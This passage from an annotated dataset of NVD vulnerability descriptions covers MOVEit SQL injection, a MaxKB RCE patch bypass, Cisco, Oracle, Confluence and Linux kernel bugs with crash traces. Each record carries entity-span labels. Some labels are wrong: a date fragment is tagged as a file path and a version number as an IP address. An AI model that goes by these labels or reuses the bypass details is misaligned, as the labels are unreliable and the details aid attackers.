16.1R1.", "spans": {"FILEPATH: /8E/9E": [[571, 577]], "FILEPATH: /1/6": [[968, 972], [1097, 1101], [1152, 1156]], "FILEPATH: /1/6.0": [[1169, 1175]], "ORGANIZATION: Juniper": [[86, 93], [1221, 1228], [2015, 2022]], "VULNERABILITY: Denial of Service": [[259, 276], [445, 462]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0290"}}
{"text": "MaxKB is an open-source AI assistant for enterprise. Versions 2.7.1 and below contain an incomplete fix for CVE-2025-53928, where a Remote Code Execution vulnerability still exists in the MCP node of the workflow engine. MaxKB only restricts the referencing code path (loading MCP config from the database). The else branch, responsible for loading mcp_servers directly from user-supplied JSON remains completely unpatched. Since mcp_source is an optional field (required=False), an attacker can simply omit it or set it to any non-referencing value to bypass the fix. By calling the workflow creation API directly with a crafted JSON payload, an attacker can inject a complete MCP node configuration with stdio transport, arbitrary command, and args — achieving RCE when the workflow is triggered via chat. This issue has been fixed in version 2.8.0.", "spans": {"CVE_ID: CVE-2025-53928": [[108, 122]], "VULNERABILITY: Remote Code Execution": [[132, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39417"}}
{"text": "In certain Progress MOVEit Transfer versions before 2021.0.4 (aka 13.0.4), SQL injection in the MOVEit Transfer web application could allow an unauthenticated remote attacker to gain access to the database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, or execute SQL statements that alter or delete database elements, via crafted strings sent to unique MOVEit Transfer transaction types. The fixed versions are 2019.0.8 (11.0.8), 2019.1.7 (11.1.7), 2019.2.4 (11.2.4), 2020.0.7 (12.0.7), 2020.1.6 (12.1.6), and 2021.0.4 (13.0.4).", "spans": {"SYSTEM: Microsoft SQL Server": [[259, 279]], "SYSTEM: MySQL": [[252, 257]], "ORGANIZATION: Progress": [[11, 19]], "VULNERABILITY: SQL injection": [[75, 88]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38159"}}
{"text": "NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing. The cryptographic key handling library, nkeys, recently gained support for encryption, not just for signing/authentication. This is used in nats-server 2.10 (Sep 2023) and newer for authentication callouts. In nkeys versions 0.4.0 through 0.4.5, corresponding with NATS server versions 2.10.0 through 2.10.3, the nkeys library's `xkeys` encryption handling logic mistakenly passed an array by value into an internal function, where the function mutated that buffer to populate the encryption key to use. As a result, all encryption was actually to an all-zeros key. This affects encryption only, not signing.  \nFIXME: FILL IN IMPACT ON NATS-SERVER AUTH CALLOUT SECURITY. nkeys Go library 0.4.6, corresponding with NATS Server 2.10.4, has a patch for this issue. No known workarounds are available. For any application handling auth callouts in Go, if using the nkeys library, update the dependency, recompile and deploy that in lockstep.", "spans": {"DOMAIN: NATS.io": [[0, 7]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46129"}}
{"text": "A vulnerability in the Data Management Engine (DME) of Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to execute arbitrary code with administrative privileges or cause a denial of service (DoS) condition on an affected device. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending a crafted Cisco Discovery Protocol packet to a Layer 2-adjacent affected device. A successful exploit could allow the attacker to execute arbitrary code with administrative privileges or cause the Cisco Discovery Protocol process to crash and restart multiple times, causing the affected device to reload and resulting in a DoS condition. Note: Cisco Discovery Protocol is a Layer 2 protocol. To exploit this vulnerability, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent). Exploitation of this vulnerability also requires jumbo frames to be enabled on the interface that receives the crafted Cisco Discovery Protocol packets on the affected device.", "spans": {"SYSTEM: Cisco NX-OS": [[55, 66]], "ORGANIZATION: Cisco": [[376, 381], [563, 568], [711, 716], [1001, 1006]], "VULNERABILITY: denial of service": [[194, 211]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3415"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: ip_gre: make ipgre_header() robust\n\nAnalog to commit db5b4e39c4e6 (\"ip6_gre: make ip6gre_header() robust\")\n\nOver the years, syzbot found many ways to crash the kernel\nin ipgre_header() [1].\n\nThis involves team or bonding drivers ability to dynamically\nchange their dev->needed_headroom and/or dev->hard_header_len\n\nIn this particular crash mld_newpack() allocated an skb\nwith a too small reserve/headroom, and by the time mld_sendpack()\nwas called, syzbot managed to attach an ipgre device.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff89ea3cb7 len:2030915468 put:2030915372 head:ffff888058b43000 data:ffff887fdfa6e194 tail:0x120 end:0x6c0 dev:team0\n kernel BUG at net/core/skbuff.c:213 !\nOops: invalid opcode: 0000 [#1] SMP KASAN PTI\nCPU: 1 UID: 0 PID: 1322 Comm: kworker/1:9 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: mld mld_ifc_work\n RIP: 0010:skb_panic+0x157/0x160 net/core/skbuff.c:213\nCall Trace:\n <TASK>\n  skb_under_panic net/core/skbuff.c:223 [inline]\n  skb_push+0xc3/0xe0 net/core/skbuff.c:2641\n  ipgre_header+0x67/0x290 net/ipv4/ip_gre.c:897\n  dev_hard_header include/linux/netdevice.h:3436 [inline]\n  neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618\n  NF_HOOK_COND include/linux/netfilter.h:307 [inline]\n  ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247\n  NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318\n  mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855\n  mld_send_cr net/ipv6/mcast.c:2154 [inline]\n  mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n  process_one_work kernel/workqueue.c:3257 [inline]\n  process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n  worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n  kthread+0x711/0x8a0 kernel/kthread.c:463\n  ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246", "spans": {"FILEPATH: /core/skbuff.c": [[741, 755], [1043, 1057], [1103, 1117], [1155, 1169]], "FILEPATH: /25/2025": [[970, 978]], "FILEPATH: /ipv4/ip_gre.c": [[1204, 1218]], "FILEPATH: /linux/netdevice.h": [[1248, 1266]], "FILEPATH: /core/neighbour.c": [[1321, 1338]], "FILEPATH: /linux/netfilter.h": [[1366, 1384], [1477, 1495]], "FILEPATH: /ipv6/ip6_output.c": [[1426, 1444]], "FILEPATH: /ipv6/mcast.c": [[1530, 1543], [1566, 1579], [1624, 1637]], "FILEPATH: /x86/kernel/process.c": [[1885, 1906]], "FILEPATH: /x86/entry/entry_64.S": [[1945, 1966]], "FILEPATH: workqueue.c": [[1669, 1680], [1741, 1752], [1793, 1804]], "FILEPATH: kthread.c": [[1839, 1848]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[904, 910], [911, 917], [933, 939], [961, 967]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23011"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp - Fix crash when rebind ccp device for ccp.ko\n\nWhen CONFIG_CRYPTO_DEV_CCP_DEBUGFS is enabled, rebinding\nthe ccp device causes the following crash:\n\n$ echo '0000:0a:00.2' > /sys/bus/pci/drivers/ccp/unbind\n$ echo '0000:0a:00.2' > /sys/bus/pci/drivers/ccp/bind\n\n[  204.976930] BUG: kernel NULL pointer dereference, address: 0000000000000098\n[  204.978026] #PF: supervisor write access in kernel mode\n[  204.979126] #PF: error_code(0x0002) - not-present page\n[  204.980226] PGD 0 P4D 0\n[  204.981317] Oops: Oops: 0002 [#1] SMP NOPTI\n...\n[  204.997852] Call Trace:\n[  204.999074]  <TASK>\n[  205.000297]  start_creating+0x9f/0x1c0\n[  205.001533]  debugfs_create_dir+0x1f/0x170\n[  205.002769]  ? srso_return_thunk+0x5/0x5f\n[  205.004000]  ccp5_debugfs_setup+0x87/0x170 [ccp]\n[  205.005241]  ccp5_init+0x8b2/0x960 [ccp]\n[  205.006469]  ccp_dev_init+0xd4/0x150 [ccp]\n[  205.007709]  sp_init+0x5f/0x80 [ccp]\n[  205.008942]  sp_pci_probe+0x283/0x2e0 [ccp]\n[  205.010165]  ? srso_return_thunk+0x5/0x5f\n[  205.011376]  local_pci_probe+0x4f/0xb0\n[  205.012584]  pci_device_probe+0xdb/0x230\n[  205.013810]  really_probe+0xed/0x380\n[  205.015024]  __driver_probe_device+0x7e/0x160\n[  205.016240]  device_driver_attach+0x2f/0x60\n[  205.017457]  bind_store+0x7c/0xb0\n[  205.018663]  drv_attr_store+0x28/0x40\n[  205.019868]  sysfs_kf_write+0x5f/0x70\n[  205.021065]  kernfs_fop_write_iter+0x145/0x1d0\n[  205.022267]  vfs_write+0x308/0x440\n[  205.023453]  ksys_write+0x6d/0xe0\n[  205.024616]  __x64_sys_write+0x1e/0x30\n[  205.025778]  x64_sys_call+0x16ba/0x2150\n[  205.026942]  do_syscall_64+0x56/0x1e0\n[  205.028108]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  205.029276] RIP: 0033:0x7fbc36f10104\n[  205.030420] Code: 89 02 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 8d 05 e1 08 2e 00 8b 00 85 c0 75 13 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 f3 c3 66 90 41 54 55 49 89 d4 53 48 89 f5\n\nThis patch sets ccp_debugfs_dir to NULL after destroying it in\nccp5_debugfs_destroy, allowing the directory dentry to be\nrecreated when rebinding the ccp device.\n\nTested on AMD Ryzen 7 1700X.", "spans": {"FILEPATH: /sys/bus/pci/drivers/ccp/unbind": [[253, 284]], "FILEPATH: /sys/bus/pci/drivers/ccp/bind": [[309, 338]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: AMD": [[2149, 2152]], "VULNERABILITY: NULL pointer dereference": [[367, 391]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38581"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix underflow in second superblock position calculations\n\nMacro NILFS_SB2_OFFSET_BYTES, which computes the position of the second\nsuperblock, underflows when the argument device size is less than 4096\nbytes.  Therefore, when using this macro, it is necessary to check in\nadvance that the device size is not less than a lower limit, or at least\nthat underflow does not occur.\n\nThe current nilfs2 implementation lacks this check, causing out-of-bound\nblock access when mounting devices smaller than 4096 bytes:\n\n I/O error, dev loop0, sector 36028797018963960 op 0x0:(READ) flags 0x0\n phys_seg 1 prio class 2\n NILFS (loop0): unable to read secondary superblock (blocksize = 1024)\n\nIn addition, when trying to resize the filesystem to a size below 4096\nbytes, this underflow occurs in nilfs_resize_fs(), passing a huge number\nof segments to nilfs_sufile_resize(), corrupting parameters such as the\nnumber of segments in superblocks.  This causes excessive loop iterations\nin nilfs_sufile_resize() during a subsequent resize ioctl, causing\nsemaphore ns_segctor_sem to block for a long time and hang the writer\nthread:\n\n INFO: task segctord:5067 blocked for more than 143 seconds.\n      Not tainted 6.2.0-rc8-syzkaller-00015-gf6feea56f66d #0\n \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:segctord        state:D stack:23456 pid:5067  ppid:2\n flags:0x00004000\n Call Trace:\n  <TASK>\n  context_switch kernel/sched/core.c:5293 [inline]\n  __schedule+0x1409/0x43f0 kernel/sched/core.c:6606\n  schedule+0xc3/0x190 kernel/sched/core.c:6682\n  rwsem_down_write_slowpath+0xfcf/0x14a0 kernel/locking/rwsem.c:1190\n  nilfs_transaction_lock+0x25c/0x4f0 fs/nilfs2/segment.c:357\n  nilfs_segctor_thread_construct fs/nilfs2/segment.c:2486 [inline]\n  nilfs_segctor_thread+0x52f/0x1140 fs/nilfs2/segment.c:2570\n  kthread+0x270/0x300 kernel/kthread.c:376\n  ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:308\n  </TASK>\n ...\n Call Trace:\n  <TASK>\n  folio_mark_accessed+0x51c/0xf00 mm/swap.c:515\n  __nilfs_get_page_block fs/nilfs2/page.c:42 [inline]\n  nilfs_grab_buffer+0x3d3/0x540 fs/nilfs2/page.c:61\n  nilfs_mdt_submit_block+0xd7/0x8f0 fs/nilfs2/mdt.c:121\n  nilfs_mdt_read_block+0xeb/0x430 fs/nilfs2/mdt.c:176\n  nilfs_mdt_get_block+0x12d/0xbb0 fs/nilfs2/mdt.c:251\n  nilfs_sufile_get_segment_usage_block fs/nilfs2/sufile.c:92 [inline]\n  nilfs_sufile_truncate_range fs/nilfs2/sufile.c:679 [inline]\n  nilfs_sufile_resize+0x7a3/0x12b0 fs/nilfs2/sufile.c:777\n  nilfs_resize_fs+0x20c/0xed0 fs/nilfs2/super.c:422\n  nilfs_ioctl_resize fs/nilfs2/ioctl.c:1033 [inline]\n  nilfs_ioctl+0x137c/0x2440 fs/nilfs2/ioctl.c:1301\n  ...\n\nThis fixes these issues by inserting appropriate minimum device size\nchecks or anti-underflow checks, depending on where the macro is used.", "spans": {"FILEPATH: /proc/sys/kernel/hung_task_timeout_secs": [[1325, 1364]], "FILEPATH: /sched/core.c": [[1511, 1524], [1572, 1585], [1619, 1632]], "FILEPATH: /locking/rwsem.c": [[1685, 1701]], "FILEPATH: /nilfs2/segment.c": [[1746, 1763], [1803, 1820], [1873, 1890]], "FILEPATH: /x86/entry/entry_64.S": [[1969, 1990]], "FILEPATH: /nilfs2/page.c": [[2107, 2121], [2168, 2182]], "FILEPATH: /nilfs2/mdt.c": [[2224, 2237], [2278, 2291], [2332, 2345]], "FILEPATH: /nilfs2/sufile.c": [[2391, 2407], [2452, 2468], [2519, 2535]], "FILEPATH: /nilfs2/super.c": [[2572, 2587]], "FILEPATH: /nilfs2/ioctl.c": [[2615, 2630], [2675, 2690]], "FILEPATH: kthread.c": [[1925, 1934]], "FILEPATH: swap.c": [[2069, 2075]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52705"}}
{"text": "Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Common Applications accessible data as well as unauthorized update, insert or delete access to some of Oracle Common Applications accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [59, 65], [302, 308], [447, 453], [647, 653], [757, 763]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14688"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen/netback: avoid entering xenvif_rx_next_skb() with an empty rx queue\n\nxenvif_rx_next_skb() is expecting the rx queue not being empty, but\nin case the loop in xenvif_rx_action() is doing multiple iterations,\nthe availability of another skb in the rx queue is not being checked.\n\nThis can lead to crashes:\n\n[40072.537261] BUG: unable to handle kernel NULL pointer dereference at 0000000000000080\n[40072.537407] IP: xenvif_rx_skb+0x23/0x590 [xen_netback]\n[40072.537534] PGD 0 P4D 0\n[40072.537644] Oops: 0000 [#1] SMP NOPTI\n[40072.537749] CPU: 0 PID: 12505 Comm: v1-c40247-q2-gu Not tainted 4.12.14-122.121-default #1 SLE12-SP5\n[40072.537867] Hardware name: HP ProLiant DL580 Gen9/ProLiant DL580 Gen9, BIOS U17 11/23/2021\n[40072.537999] task: ffff880433b38100 task.stack: ffffc90043d40000\n[40072.538112] RIP: e030:xenvif_rx_skb+0x23/0x590 [xen_netback]\n[40072.538217] RSP: e02b:ffffc90043d43de0 EFLAGS: 00010246\n[40072.538319] RAX: 0000000000000000 RBX: ffffc90043cd7cd0 RCX: 00000000000000f7\n[40072.538430] RDX: 0000000000000000 RSI: 0000000000000006 RDI: ffffc90043d43df8\n[40072.538531] RBP: 000000000000003f R08: 000077ff80000000 R09: 0000000000000008\n[40072.538644] R10: 0000000000007ff0 R11: 00000000000008f6 R12: ffffc90043ce2708\n[40072.538745] R13: 0000000000000000 R14: ffffc90043d43ed0 R15: ffff88043ea748c0\n[40072.538861] FS: 0000000000000000(0000) GS:ffff880484600000(0000) knlGS:0000000000000000\n[40072.538988] CS: e033 DS: 0000 ES: 0000 CR0: 0000000080050033\n[40072.539088] CR2: 0000000000000080 CR3: 0000000407ac8000 CR4: 0000000000040660\n[40072.539211] Call Trace:\n[40072.539319] xenvif_rx_action+0x71/0x90 [xen_netback]\n[40072.539429] xenvif_kthread_guest_rx+0x14a/0x29c [xen_netback]\n\nFix that by stopping the loop in case the rx queue becomes empty.", "spans": {"FILEPATH: /23/2021": [[781, 789]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: HP": [[726, 728]], "VULNERABILITY: NULL pointer dereference": [[421, 445]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49649"}}
{"text": "Vulnerability in the Oracle CRM Technical Foundation product of Oracle E-Business Suite (component: Message Hooks). Supported versions that are affected are 12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle CRM Technical Foundation. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle CRM Technical Foundation, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle CRM Technical Foundation accessible data. CVSS 3.0 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [64, 70], [292, 298], [442, 448], [640, 646]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2596"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of CR2 files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-11332.", "spans": {"IP_ADDRESS: 3.6.6.922": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17430"}}
{"text": "notion-go is a collection of libraries for supporting sign and verify OCI artifacts. Based on Notary Project specifications. The issue was identified during Quarkslab's security audit on the Certificate Revocation List (CRL) based revocation check feature.\nAfter retrieving the CRL, notation-go attempts to update the CRL cache using the os.Rename method. However, this operation may fail due to operating system-specific limitations, particularly when the source and destination paths are on different mount points. This failure could lead to an unexpected program termination. In method `crl.(*FileCache).Set`, a temporary file is created in the OS dedicated area (like /tmp for, usually, Linux/Unix). The file is written and then it is tried to move it to the dedicated `notation` cache directory thanks `os.Rename`. As specified in Go documentation, OS specific restriction may apply. When used with Linux OS, it is relying on rename syscall from the libc and as per the documentation, moving a file to a different mountpoint raises an EXDEV error, interpreted as Cross device link not permitted error. Some Linux distribution, like RedHat use a dedicated filesystem (tmpfs), mounted on a specific mountpoint (usually /tmp) for temporary files. When using such OS, revocation check based on CRL will repeatedly crash notation. As a result the signature verification process is aborted as process crashes. This issue has been addressed in version 1.3.0-rc.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: Linux": [[691, 696], [904, 909], [1112, 1117]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-51491"}}
{"text": "On SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3, vSRX Series devices using tenant services on Juniper Networks Junos OS, due to incorrect permission scheme assigned to tenant system administrators, a tenant system administrator may inadvertently send their network traffic to one or more tenants while concurrently modifying the overall device system traffic management, affecting all tenants and the service provider. Further, a tenant may inadvertently receive traffic from another tenant. This issue affects: Juniper Networks Junos OS 18.3 version 18.3R1 and later versions on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2; 18.4 version 18.4R1 and later versions on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3; 19.1 versions 19.1R1 and later versions on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3; 19.2 versions prior to 19.2R1-S6, 19.2R3-S2 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3; 19.3 versions prior to 19.3R3-S2 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3; 19.4 versions prior to 19.4R2-S4, 19.4R3-S2 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3; 20.1 versions prior to 20.1R2, 20.1R3 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3 vSRX Series; 20.2 versions prior to 20.2R2-S1, 20.2R3 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3 vSRX Series; 20.3 versions prior to 20.3R1-S2, 20.3R2 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3 vSRX Series; 20.4 versions prior to 20.4R1, 20.4R2 on SRX1500, SRX4100, SRX4200, SRX4600, SRX5000 Series with SPC2/SPC3 vSRX Series. This issue does not affect Juniper Networks Junos OS versions prior to 18.3R1.", "spans": {"ORGANIZATION: Juniper": [[115, 122], [533, 540], [1726, 1733]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0235"}}
{"text": "Helm is a tool for managing Charts, pre-configured Kubernetes resources. Versions prior to 3.10.3 are subject to NULL Pointer Dereference in the_chartutil_ package that can cause a segmentation violation. The _chartutil_ package contains a parser that loads a JSON Schema validation file. For example, the Helm client when rendering a chart will validate its values with the schema file. The _chartutil_ package parses the schema file and loads it into structures Go can work with. Some schema files can cause array data structures to be created causing a memory violation. Applications that use the _chartutil_ package in the Helm SDK to parse a schema file can suffer a Denial of Service when that input causes a panic that cannot be recovered from. Helm is not a long running service so the panic will not affect future uses of the Helm client. This issue has been patched in 3.10.3. SDK users can validate schema files that are correctly formatted before passing them to the _chartutil_ functions.", "spans": {"SYSTEM: Kubernetes": [[51, 61]], "VULNERABILITY: NULL Pointer Dereference": [[113, 137]], "VULNERABILITY: Denial of Service": [[672, 689]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23526"}}
{"text": "This High severity Reflected XSS and CSRF (Cross-Site Request Forgery) vulnerability was introduced in versions 7.19.0, 7.20.0, 8.0.0, 8.1.0, 8.2.0, 8.3.0, 8.4.0, 8.5.0, 8.6.0, 8.7.1, 8.8.0, and 8.9.0 of Confluence Data Center and Server. \n\t\n\tThis Reflected XSS and CSRF (Cross-Site Request Forgery) vulnerability, with a CVSS Score of 7.1, allows an unauthenticated attacker to execute arbitrary HTML or JavaScript code on a victims browser and force a end user to execute unwanted actions on a web application in which they're currently authenticated which has high impact to confidentiality, low impact to integrity, no impact to availability, and requires user interaction. \n\t\n\tAtlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:\n\t\t\n\t\t* Confluence Data Center and Server 7.19: Upgrade to a release greater than or equal to 7.19.26\n\t\t\n\t\t* Confluence Data Center and Server 8.5: Upgrade to a release greater than or equal to 8.5.14\n\t\t\n\t\t* Confluence Data Center and Server 9.0: Upgrade to a release greater than or equal to 9.0.1\n\t\t\n\t\t\n\t\n\tSee the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). \n\t\n\tThis vulnerability was reported via our Bug Bounty program.", "spans": {"URL: https://confluence.atlassian.com/doc/confluence-release-notes-327.html": [[1209, 1279]], "URL: https://www.atlassian.com/software/confluence/download-archives": [[1381, 1444]], "ORGANIZATION: Atlassian": [[682, 691]], "VULNERABILITY: Cross-Site Request Forgery": [[43, 69], [272, 298]], "VULNERABILITY: Reflected XSS": [[19, 32], [248, 261]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21690"}}
{"text": "Vulnerability in the Oracle Advanced Outbound Telephony product of Oracle E-Business Suite (component: User Interface). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Advanced Outbound Telephony. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Advanced Outbound Telephony, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Advanced Outbound Telephony accessible data as well as unauthorized update, insert or delete access to some of Oracle Advanced Outbound Telephony accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [67, 73], [284, 290], [437, 443], [645, 651], [763, 769]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14671"}}
{"text": "Kyverno is a policy engine designed for Kubernetes. In versions of Kyverno prior to 1.10.0, resources which have the `deletionTimestamp` field defined can bypass validate, generate, or mutate-existing policies, even in cases where the `validationFailureAction` field is set to `Enforce`. This situation occurs as resources pending deletion were being consciously exempted by Kyverno, as a way to reduce processing load as policies are typically not applied to objects which are being deleted. However, this could potentially result in allowing a malicious user to leverage the Kubernetes finalizers feature by setting a finalizer which causes the Kubernetes API server to set the `deletionTimestamp` and then not completing the delete operation as a way to explicitly to bypass a Kyverno policy. Note that this is not applicable to Kubernetes Pods but, as an example, a Kubernetes Service resource can be manipulated using an indefinite finalizer to bypass policies. This is resolved in Kyverno 1.10.0. There is no known workaround.", "spans": {"SYSTEM: Kubernetes": [[40, 50], [577, 587], [647, 657], [832, 842], [870, 880]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34091"}}
{"text": "BigBlueButton is an open-source virtual classroom. In versions 3.0.21 and below, the official documentation for \"Server Customization\" on Support for ClamAV as presentation file scanner contains instructions that leave a BBB server vulnerable for Denial of Service. The flawed command exposes both ports (3310 and 7357) to the internet. A remote attacker can use this to send complex or large documents to clamd and waste server resources, or shutdown the clamd process. The clamd documentation explicitly warns about exposing this port. Enabling ufw (ubuntu firewall) during install does not help, because Docker routes container traffic through the nat table, which is not managed or restricted by ufw. Rules installed by ufw in the filter table have no effect on docker traffic. In addition, the provided example also mounts /var/bigbluebutton with write permissions into the container, which should not be required. Future vulnerabilities in clamd may allow attackers to manipulate files in that folder. Users are unaffected unless they have opted in to follow the extra instructions from BigBlueButton's documentation. This issue has been fixed in version 3.0.22.", "spans": {"FILEPATH: /var/bigbluebutton": [[828, 846]], "ORGANIZATION: Docker": [[607, 613]], "VULNERABILITY: Denial of Service": [[247, 264]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27466"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/client: Fix memory leak in drm_client_target_cloned\n\ndmt_mode is allocated and never freed in this function.\nIt was found with the ast driver, but most drivers using generic fbdev\nsetup are probably affected.\n\nThis fixes the following kmemleak report:\n  backtrace:\n    [<00000000b391296d>] drm_mode_duplicate+0x45/0x220 [drm]\n    [<00000000e45bb5b3>] drm_client_target_cloned.constprop.0+0x27b/0x480 [drm]\n    [<00000000ed2d3a37>] drm_client_modeset_probe+0x6bd/0xf50 [drm]\n    [<0000000010e5cc9d>] __drm_fb_helper_initial_config_and_unlock+0xb4/0x2c0 [drm_kms_helper]\n    [<00000000909f82ca>] drm_fbdev_client_hotplug+0x2bc/0x4d0 [drm_kms_helper]\n    [<00000000063a69aa>] drm_client_register+0x169/0x240 [drm]\n    [<00000000a8c61525>] ast_pci_probe+0x142/0x190 [ast]\n    [<00000000987f19bb>] local_pci_probe+0xdc/0x180\n    [<000000004fca231b>] work_for_cpu_fn+0x4e/0xa0\n    [<0000000000b85301>] process_one_work+0x8b7/0x1540\n    [<000000003375b17c>] worker_thread+0x70a/0xed0\n    [<00000000b0d43cd9>] kthread+0x29f/0x340\n    [<000000008d770833>] ret_from_fork+0x1f/0x30\nunreferenced object 0xff11000333089a00 (size 128):", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[85, 96]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54091"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix double brelse() the buffer of the extents path\n\nIn ext4_ext_try_to_merge_up(), set path[1].p_bh to NULL after it has been\nreleased, otherwise it may be released twice. An example of what triggers\nthis is as follows:\n\n  split2    map    split1\n|--------|-------|--------|\n\next4_ext_map_blocks\n ext4_ext_handle_unwritten_extents\n  ext4_split_convert_extents\n   // path->p_depth == 0\n   ext4_split_extent\n     // 1. do split1\n     ext4_split_extent_at\n       |ext4_ext_insert_extent\n       |  ext4_ext_create_new_leaf\n       |    ext4_ext_grow_indepth\n       |      le16_add_cpu(&neh->eh_depth, 1)\n       |    ext4_find_extent\n       |      // return -ENOMEM\n       |// get error and try zeroout\n       |path = ext4_find_extent\n       |  path->p_depth = 1\n       |ext4_ext_try_to_merge\n       |  ext4_ext_try_to_merge_up\n       |    path->p_depth = 0\n       |    brelse(path[1].p_bh)  ---> not set to NULL here\n       |// zeroout success\n     // 2. update path\n     ext4_find_extent\n     // 3. do split2\n     ext4_split_extent_at\n       ext4_ext_insert_extent\n         ext4_ext_create_new_leaf\n           